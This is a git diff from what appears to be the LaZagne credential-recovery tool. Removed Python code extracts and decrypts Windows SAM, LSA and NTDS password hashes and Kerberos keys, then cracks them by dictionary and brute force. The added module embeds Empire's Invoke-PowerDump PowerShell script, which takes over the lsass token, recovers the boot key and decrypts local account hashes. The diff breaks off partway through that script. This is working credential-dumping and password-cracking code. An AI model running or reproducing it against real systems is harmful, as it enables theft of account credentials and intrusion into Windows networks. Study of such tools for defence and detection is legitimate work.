range(kerbStoredCredentialNew['CredentialCount']): - keyDataNew = samr.KERB_KEY_DATA_NEW(data) - data = data[len(keyDataNew):] - keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] - - if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']): - answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],keyValue.encode('hex')) - else: - answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),keyValue.encode('hex')) - # We're just storing the keys, not printing them, to make the output more readable - # This is kind of ugly... but it's what I came up with tonight to get an ordered - # set :P. Better ideas welcomed ;) - self.__kerberosKeys[answer] = None - - def __decryptHash(self, record): - # logging.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']]) - - sid = SAMR_RPC_SID(record[self.NAME_TO_INTERNAL['objectSid']].decode('hex')) - rid = sid.formatCanonical().split('-')[-1] - - if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None: - encryptedLMHash = self.CRYPTED_HASH(record[self.NAME_TO_INTERNAL['dBCSPwd']].decode('hex')) - tmpLMHash = self.__removeRC4Layer(encryptedLMHash) - LMHash = self.__removeDESLayer(tmpLMHash, rid) - else: - LMHash = ntlm.LMOWFv1('','') - encryptedLMHash = None - - if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None: - encryptedNTHash = self.CRYPTED_HASH(record[self.NAME_TO_INTERNAL['unicodePwd']].decode('hex')) - tmpNTHash = self.__removeRC4Layer(encryptedNTHash) - NTHash = self.__removeDESLayer(tmpNTHash, rid) - else: - NTHash = ntlm.NTOWFv1('','') - encryptedNTHash = None - - if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: - domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] - userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) - else: - userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] - - answer = "%s:%s:%s:%s:::" % (userName, rid, LMHash.encode('hex'), NTHash.encode('hex')) - self.__hashesFound[record[self.NAME_TO_INTERNAL['objectSid']].decode('hex')] = answer - # print answer - - if self.__history: - LMHistory = [] - NTHistory = [] - if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None: - lmPwdHistory = record[self.NAME_TO_INTERNAL['lmPwdHistory']] - encryptedLMHistory = self.CRYPTED_HISTORY(record[self.NAME_TO_INTERNAL['lmPwdHistory']].decode('hex')) - tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory) - for i in range(0, len(tmpLMHistory)/16): - LMHash = self.__removeDESLayer(tmpLMHistory[i*16:(i+1)*16], rid) - LMHistory.append(LMHash) - - if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None: - ntPwdHistory = record[self.NAME_TO_INTERNAL['ntPwdHistory']] - encryptedNTHistory = self.CRYPTED_HISTORY(record[self.NAME_TO_INTERNAL['ntPwdHistory']].decode('hex')) - tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory) - for i in range(0, len(tmpNTHistory)/16): - NTHash = self.__removeDESLayer(tmpNTHistory[i*16:(i+1)*16], rid) - NTHistory.append(NTHash) - - for i, (LMHash, NTHash) in enumerate(map(lambda l,n: (l,n) if l else ('',n), LMHistory[1:], NTHistory[1:])): - if self.__noLMHash: - lmhash = ntlm.LMOWFv1('','').encode('hex') - else: - lmhash = LMHash.encode('hex') - - answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, NTHash.encode('hex')) - self.__hashesFound[record[self.NAME_TO_INTERNAL['objectSid']].decode('hex')+str(i)] = answer - # print answer - - def dump(self): - if self.__NTDS is None: - # No NTDS.dit file provided - return - # logging.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)') - # We start getting rows from the table aiming at reaching - # the pekList. If we find users records we stored them - # in a temp list for later process. - self.__getPek() - if self.__PEK is not None: - # logging.info('Pek found and decrypted: 0x%s' % self.__PEK.encode('hex')) - # logging.info('Reading and decrypting hashes from %s ' % self.__NTDS) - # First of all, if we have users already cached, let's decrypt their hashes - for record in self.__tmpUsers: - try: - self.__decryptHash(record) - self.__decryptSupplementalInfo(record) - except Exception, e: - try: - # logging.error("Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) - # logging.error(str(e)) - pass - except: - # logging.error("Error while processing row!") - # logging.error(str(e)) - pass - - # Now let's keep moving through the NTDS file and decrypting what we find - while True: - try: - record = self.__ESEDB.getNextRow(self.__cursor) - except: - # logging.error('Error while calling getNextRow(), trying the next one') - continue - - if record is None: - break - try: - if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: - self.__decryptHash(record) - self.__decryptSupplementalInfo(record) - except Exception, e: - try: - # logging.error("Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) - # logging.error(str(e)) - pass - except: - # logging.error("Error while processing row!") - # logging.error(str(e)) - pass - # Now we'll print the Kerberos keys. So we don't mix things up in the output. - if len(self.__kerberosKeys) > 0: - # logging.info('Kerberos keys from %s ' % self.__NTDS) - for itemKey in self.__kerberosKeys.keys(): - print itemKey - - results = {} - if len(self.__hashesFound) > 0: - results['ntds'] = self.__hashesFound - if len(self.__kerberosKeys) > 0: - results['ntds.kerberos'] = self.__kerberosKeys - return results - - def finish(self): - if self.__NTDS is not None: - self.__ESEDB.close() - -class DumpSecrets: - def __init__(self, address, system=False, security=False, sam=False, ntds=False, history=False): - self.__remoteAddr = address - self.__lmhash = '' - self.__nthash = '' - self.__SAMHashes = None - self.__NTDSHashes = None - self.__LSASecrets = None - self.__systemHive = system - self.__securityHive = security - self.__samHive = sam - self.__ntdsFile = ntds - self.__history = history - self.__noLMHash = True - self.__isRemote = False - self.categoryName = '' - self.wordlist = get_dico() + constant.passwordFound - - def getBootKey(self): - # Local Version whenever we are given the files directly - bootKey = '' - tmpKey = '' - winreg = winregistry.Registry(self.__systemHive, self.__isRemote) - # We gotta find out the Current Control Set - currentControlSet = winreg.getValue('\\Select\\Current')[1] - currentControlSet = "ControlSet%03d" % currentControlSet - for key in ['JD','Skew1','GBG','Data']: - # logging.debug('Retrieving class info for %s'% key) - try: - ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key)) - except: - print 'failed' - digit = ans[:16].decode('utf-16le') - tmpKey = tmpKey + digit - - transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] - - tmpKey = tmpKey.decode('hex') - for i in xrange(len(tmpKey)): - bootKey += tmpKey[transforms[i]] - - # logging.info('Target system bootKey: 0x%s' % bootKey.encode('hex')) - return bootKey - - def checkNoLMHashPolicy(self): - # logging.debug('Checking NoLMHash Policy') - winreg = winregistry.Registry(self.__systemHive, self.__isRemote) - # We gotta find out the Current Control Set - currentControlSet = winreg.getValue('\\Select\\Current')[1] - currentControlSet = "ControlSet%03d" % currentControlSet - - noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet) - if noLmHash is not None: - noLmHash = noLmHash[1] - else: - noLmHash = 0 - - if noLmHash != 1: - # logging.debug('LMHashes are being stored') - return False - # logging.debug('LMHashes are NOT being stored') - return True - - def create_nthash(self, word): - generated_hash = hashlib.new('md4', word.encode('utf-16le')).digest() - return binascii.hexlify(generated_hash) - - def dictionaryAttack_Hash(self, hash): - # check using a basic dictionary list and all passwords already found - for word in self.wordlist: - try: - generated_hash = self.create_nthash(word) - if generated_hash == hash: - return word - except: - pass - return False - - def bruteFortce_hash(self, hash): - # brute force attack - charset_list = 'abcdefghijklmnopqrstuvwxyz1234567890!?' - print_debug('ATTACK', 'Brute force attack !!! (%s characters)' % str(constant.bruteforce)) - print_debug('DEBUG', 'charset: %s' % charset_list) - - try: - for length in range(1, int(constant.bruteforce)+1): - words = product(charset_list, repeat=length) - for word in words: - print_debug('DEBUG', '%s' % ''.join(word)) - generated_hash = self.create_nthash(''.join(word).strip()) - if generated_hash == hash: - return ''.join(word) - - except (KeyboardInterrupt, SystemExit): - print 'INTERRUPTED!' - print_debug('INFO', 'Dictionnary attack interrupted') - except Exception,e: - print_debug('DEBUG', '{0}'.format(e)) - - print_debug('WARNING', 'No password has been found using the brute force attack') - return False - - # used for dictionary attack, if user specify a specific file - def get_dic(self, dictionary_path): - words = [] - if dictionary_path: - try: - dicFile = open (dictionary_path,'r') - except Exception,e: - print_debug('DEBUG', '{0}'.format(e)) - print_debug('ERROR', 'Unable to open passwords file: %s' % str(dictionary_path)) - return [] - - for word in dicFile.readlines(): - words.append(word.strip('\n')) - dicFile.close() - return words - - def hashes_to_dic(self, title, format, content): - Header().title1(title) - print_debug('INFO', 'Format: (%s)' % format) - - items = sorted(content) - pwdFound = [] - values = {} - self.wordlist += self.get_dic(constant.path) - all_hash = '\r\n' - for item in items: - hash = content[item] - (uid, rid, lmhash, nthash) = hash.split(':')[:4] - # add the user on the list to found weak password (login equal password) - self.wordlist.append(uid.encode("utf8")) - all_hash = '%s\r\n%s' % (all_hash, hash) - password = self.dictionaryAttack_Hash(nthash) - if not password and constant.bruteforce: - password = self.bruteFortce_hash(nthash) - - # if a password has been found from the dictionary attack - if password: - accounts = {} - accounts['Category'] = 'System account' - accounts['user'] = uid - accounts['password'] = password - pwdFound.append(accounts) - - values['hashes'] = all_hash - pwdFound.append(values) - return pwdFound - - def dump(self): - try: - bootKey = self.getBootKey() - if self.__ntdsFile is not None: - # Grab configuration about LM Hashes storage - self.__noLMHash = self.checkNoLMHashPolicy() - - # -------------- LM / NTLM HASHES -------------- - SAMFileName = self.__samHive - self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) - samHashes_tab = self.__SAMHashes.dump() - if samHashes_tab: - pwdFound = self.hashes_to_dic('Local SAM hashes', 'uid:rid:lmhash:nthash', samHashes_tab) - print_output('Local SAM hashes', pwdFound, True) - - # -------------- LSA SECRETS -------------- - SECURITYFileName = self.__securityHive - self.__LSASecrets=LSASecrets(SECURITYFileName, bootKey, isRemote = self.__isRemote) - - # --- Cached Hashes --- - cachedHashes = self.__LSASecrets.dumpCachedHashes() - if cachedHashes: - pwdFound = self.hashes_to_dic('Cached domain logon information', 'uid:encryptedHash:longDomain:domain', cachedHashes) - print_output('Cached domain logon information', pwdFound, True) - - # --- LSA Secrets --- - secrets = self.__LSASecrets.dumpSecrets() - if secrets: - Header().title1('LSA Secrets') - print_output('LSA Secrets', secrets, True) - - # -------------- NTDS File -------------- - NTDSFileName = self.__ntdsFile - self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote = self.__isRemote, history = self.__history, noLMHash = self.__noLMHash) - ntdsHashes_dic = self.__NTDSHashes.dump() - if ntdsHashes_dic: - Header().title1('NTDS File') - for nts_keys in ntdsHashes_dic.keys(): - hashesFound = ntdsHashes_dic[nts_keys] - if nts_keys == 'ntds': - items = sorted(hashesFound) - for item in items: - try: - hashesFound[item] - except Exception,e: - print_debug('DEBUG', '{0}'.format(e)) - elif nts_keys == 'ntds.kerberos': - for itemKey in hashesFound: - print itemKey - - # cleanup - self.cleanup() - except (Exception, KeyboardInterrupt), e: - # logging.error(e) - try: - self.cleanup() - except: - pass - - def cleanup(self): - # logging.info('Cleaning up... ') - if self.__SAMHashes: - self.__SAMHashes.finish() - if self.__LSASecrets: - self.__LSASecrets.finish() - if self.__NTDSHashes: - self.__NTDSHashes.finish() - -def retrieve_hash(address, system, security, sam, ntds, history): - dumper = DumpSecrets(address, system, security, sam, ntds, history) - try: - dumper.dump() - except Exception, e: - pass - diff --git a/Windows/lazagne/softwares/windows/system_hash.py b/Windows/lazagne/softwares/windows/system_hash.py new file mode 100755 index 00000000..1471d30a --- /dev/null +++ b/Windows/lazagne/softwares/windows/system_hash.py @@ -0,0 +1,583 @@ +# Thanks to the awesome work harmjoy +# For more information see powerdump from empire + +from lazagne.config.moduleInfo import ModuleInfo +from lazagne.config.write_output import print_debug +from lazagne.config.powershell_execute import powershell_execute +from lazagne.config.dico import get_dico +import binascii +import hashlib +from lazagne.config.constant import * +from _winreg import * +import struct + +class Hashes(ModuleInfo): + def __init__(self): + self.wordlist = get_dico() + constant.passwordFound + options = {'command': '--hashes', 'action': 'store_true', 'dest': 'hashes', 'help': 'retrieve system hashes'} + ModuleInfo.__init__(self, 'hashes', 'windows', options, need_system_privileges=True) + + def launch_powerdump(self): + # From https://github.com/adaptivethreat/Empire/blob/master/data/module_source/credentials/Invoke-PowerDump.ps1 + function = 'Invoke-PowerDump' + script = ''' +function Invoke-PowerDump +{ +$sign = @" +using System; +using System.Runtime.InteropServices; +public static class priv +{ + [DllImport("shell32.dll")] + public static extern bool IsUserAnAdmin(); +} +"@ + $adminasembly = Add-Type -TypeDefinition $sign -Language CSharp -PassThru + function ElevatePrivs + { +$signature = @" + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct TokPriv1Luid + { + public int Count; + public long Luid; + public int Attr; + } + + public const int SE_PRIVILEGE_ENABLED = 0x00000002; + public const int TOKEN_QUERY = 0x00000008; + public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; + public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; + + public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; + public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; + public const UInt32 TOKEN_DUPLICATE = 0x0002; + public const UInt32 TOKEN_IMPERSONATE = 0x0004; + public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; + public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; + public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; + public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; + public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); + public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | + TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID); + + public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege"; + public const int ANYSIZE_ARRAY = 1; + + [StructLayout(LayoutKind.Sequential)] + public struct LUID + { + public UInt32 LowPart; + public UInt32 HighPart; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LUID_AND_ATTRIBUTES { + public LUID Luid; + public UInt32 Attributes; + } + + + public struct TOKEN_PRIVILEGES { + public UInt32 PrivilegeCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)] + public LUID_AND_ATTRIBUTES [] Privileges; + } + + [DllImport("advapi32.dll", SetLastError=true)] + public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int + SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle); + + + [DllImport("advapi32.dll", SetLastError=true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool SetThreadToken( + IntPtr PHThread, + IntPtr Token + ); + + [DllImport("advapi32.dll", SetLastError=true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool OpenProcessToken(IntPtr ProcessHandle, + UInt32 DesiredAccess, out IntPtr TokenHandle); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); + + [DllImport("kernel32.dll", ExactSpelling = true)] + public static extern IntPtr GetCurrentProcess(); + + [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] + public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, + ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); +"@ + + $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent()) + if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) { + Write-Warning "Run the Command as an Administrator" + Break + } + + Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv + $adjPriv = [AdjPriv.AdjPriv] + [long]$luid = 0 + + $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid + $tokPriv1Luid.Count = 1 + $tokPriv1Luid.Luid = $luid + $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED + + $retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) + + [IntPtr]$htoken = [IntPtr]::Zero + $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken) + + + $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES + $retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) + + if(-not($retVal)) { + [System.Runtime.InteropServices.marshal]::GetLastWin32Error() + Break + } + + $process = (Get-Process -Name lsass) + #$process.name + [IntPtr]$hlsasstoken = [IntPtr]::Zero + $retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken) + + [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero + $retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle) + + $retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle) + + if(-not($retVal)) { + [System.Runtime.InteropServices.marshal]::GetLastWin32Error() + } + } + function LoadApi + { + $oldErrorAction = $global:ErrorActionPreference; + $global:ErrorActionPreference = "SilentlyContinue"; + $test = [PowerDump.Native]; + $global:ErrorActionPreference = $oldErrorAction; + if ($test) + { + # already loaded + return; + } +$code = @" +using System; +using System.Security.Cryptography; +using System.Runtime.InteropServices; +using System.Text; +namespace PowerDump +{ + public class Native + { + [DllImport("advapi32.dll", CharSet = CharSet.Auto)] + public static extern int RegOpenKeyEx( + int hKey, + string subKey, + int ulOptions, + int samDesired, + out int hkResult); + [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")] + extern public static int RegEnumKeyEx( + int hkey, + int index, + StringBuilder lpName, + ref int lpcbName, + int reserved, + StringBuilder lpClass, + ref int lpcbClass, + out long lpftLastWriteTime); + [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)] + extern public static int RegQueryInfoKey( + int hkey, + StringBuilder lpClass, + ref int lpcbClass, + int lpReserved, + out int lpcSubKeys, + out int lpcbMaxSubKeyLen, + out int lpcbMaxClassLen, + out int lpcValues, + out int lpcbMaxValueNameLen, + out int lpcbMaxValueLen, + out int lpcbSecurityDescriptor, + IntPtr lpftLastWriteTime); + [DllImport("advapi32.dll", SetLastError=true)] + public static extern int RegCloseKey( + int hKey); + } + } // end namespace PowerDump + public class Shift { + public static int Right(int x, int count) { return x >> count; } + public static uint Right(uint x, int count) { return x >> count; } + public static long Right(long x, int count) { return x >> count; } + public static ulong Right(ulong x, int count) { return x >> count; } + public static int Left(int x, int count) { return x << count; } + public static uint Left(uint x, int count) { return x << count; } + public static long Left(long x, int count) { return x << count; } + public static ulong Left(ulong x, int count) { return x << count; } + } +"@ + $provider = New-Object Microsoft.CSharp.CSharpCodeProvider + $dllName = [PsObject].Assembly.Location + $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters + $assemblies = @("System.dll", $dllName) + $compilerParameters.ReferencedAssemblies.AddRange($assemblies) + $compilerParameters.GenerateInMemory = $true + $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code) + if($compilerResults.Errors.Count -gt 0) { + $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) } + } + } + $antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0"); + $almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0"); + $empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee); + $empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0); + $odd_parity = @( + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, + 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, + 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, + 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, + 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, + 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, + 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, + 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, + 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, + 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 + ); + function sid_to_key($sid) + { + $s1 = @(); + $s1 += [char]($sid -band 0xFF); + $s1 += [char]([Shift]::Right($sid,8) -band 0xFF); + $s1 += [char]([Shift]::Right($sid,16) -band 0xFF); + $s1 += [char]([Shift]::Right($sid,24) -band 0xFF); + $s1 += $s1[0]; + $s1 += $s1[1]; + $s1 += $s1[2]; + $s2 = @(); + $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2]; + $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2]; + return ,((str_to_key $s1),(str_to_key $s2)); + } + function str_to_key($s) + { + $key = @(); + $key += [Shift]::Right([int]($s[0]), 1 ); + $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2); + $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3); + $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4); + $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5); + $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6); + $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7); + $key += $([int]($s[6]) -band 0x7F); + 0..7 | %{ + $key[$_] = [Shift]::Left($key[$_], 1); + $key[$_] = $odd_parity[$key[$_]]; + } + return ,$key; + } + function NewRC4([byte[]]$key) + { + return new-object Object | + Add-Member NoteProperty key $key -PassThru | + Add-Member NoteProperty S $null -PassThru | + Add-Member ScriptMethod init { + if (-not $this.S) + { + [byte[]]$this.S = 0..255; + 0..255 | % -begin{[long]$j=0;}{ + $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length; + $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp; + } + } + } -PassThru | + Add-Member ScriptMethod "encrypt" { + $data = $args[0]; + $this.init(); + $outbuf = new-object byte[] $($data.Length); + $S2 = $this.S[0..$this.S.Length]; + 0..$($data.Length-1) | % -begin{$i=0;$j=0;} { + $i = ($i+1) % $S2.Length; + $j = ($j + $S2[$i]) % $S2.Length; + $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp; + $a = $data[$_]; + $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ]; + $outbuf[$_] = ($a -bxor $b); + } + return ,$outbuf; + } -PassThru + } + function des_encrypt([byte[]]$data, [byte[]]$key) + { + return ,(des_transform $data $key $true) + } + function des_decrypt([byte[]]$data, [byte[]]$key) + { + return ,(des_transform $data $key $false) + } + function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt) + { + $des = new-object Security.Cryptography.DESCryptoServiceProvider; + $des.Mode = [Security.Cryptography.CipherMode]::ECB; + $des.Padding = [Security.Cryptography.PaddingMode]::None; + $des.Key = $key; + $des.IV = $key; + $transform = $null; + if ($doEncrypt) {$transform = $des.CreateEncryptor();} + else{$transform = $des.CreateDecryptor();} + $result = $transform.TransformFinalBlock($data, 0, $data.Length); + return ,$result; + } + function Get-RegKeyClass([string]$key, [string]$subkey) + { + switch ($Key) { + "HKCR" { $nKey = 0x80000000} #HK Classes Root + "HKCU" { $nKey = 0x80000001} #HK Current User + "HKLM" { $nKey = 0x80000002} #HK Local Machine + "HKU" { $nKey = 0x80000003} #HK Users + "HKCC" { $nKey = 0x80000005} #HK Current Config + default { + throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC" + } + } + $KEYQUERYVALUE = 0x1; + $KEYREAD = 0x19; + $KEYALLACCESS = 0x3F; + $result = ""; + [int]$hkey=0 + if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey)) + { + $classVal = New-Object Text.Stringbuilder 1024 + [int]$len = 1024 + if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null, + [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0)) + { + $result = $classVal.ToString() + } + else + { + Write-Error "RegQueryInfoKey failed"; + } + [PowerDump.Native]::RegCloseKey($hkey) | Out-Null + } + else + { + Write-Error "Cannot open key"; + } + return $result; + } + function Get-BootKey + { + $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"})); + $b = new-object byte[] $($s.Length/2); + 0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)} + $b2 = new-object byte[] 16; + 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++} + return ,$b2; + } + function Get-HBootKey + { + param([byte[]]$bootkey); + $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0"); + $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0"); + $k = Get-Item HKLM:\SAM\SAM\Domains\Account; + if (-not $k) {return $null} + [byte[]]$F = $k.GetValue("F"); + if (-not $F) {return $null} + $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum); + $rc4 = NewRC4 $rc4key; + return ,($rc4.encrypt($F[0x80..0x9F])); + } + function Get-UserName([byte[]]$V) + { + if (-not $V) {return $null}; + $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC; + $len = [BitConverter]::ToInt32($V[0x10..0x13],0); + return [Text.Encoding]::Unicode.GetString($V, $offset, $len); + } + function Get-UserHashes($u, [byte[]]$hbootkey) + { + [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null; + if ($u.HashOffset + 0x28 -lt $u.V.Length) + { + $lm_hash_offset = $u.HashOffset + 4; + $nt_hash_offset = $u.HashOffset + 8 + 0x10; + $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)]; + $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; + } + elseif ($u.HashOffset + 0x14 -lt $u.V.Length) + { + $nt_hash_offset = $u.HashOffset + 8; + $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; + } + return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey); + } + function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey) + { + [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt; + # LM Hash + if ($enc_lm_hash) + { + $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword; + } + + # NT Hash + if ($enc_nt_hash) + { + $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword; + } + return ,($lmhash,$nthash) + } + function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr) + { + $deskeys = sid_to_key $rid; + $md5 = [Security.Cryptography.MD5]::Create(); + $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr); + $rc4 = NewRC4 $rc4_key; + $obfkey = $rc4.encrypt($enc_hash); + $hash = (des_decrypt $obfkey[0..7] $deskeys[0]) + + (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]); + return ,$hash; + } + function Get-UserKeys + { + ls HKLM:\SAM\SAM\Domains\Account\Users | + where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} | + Add-Member AliasProperty KeyName PSChildName -PassThru | + Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} 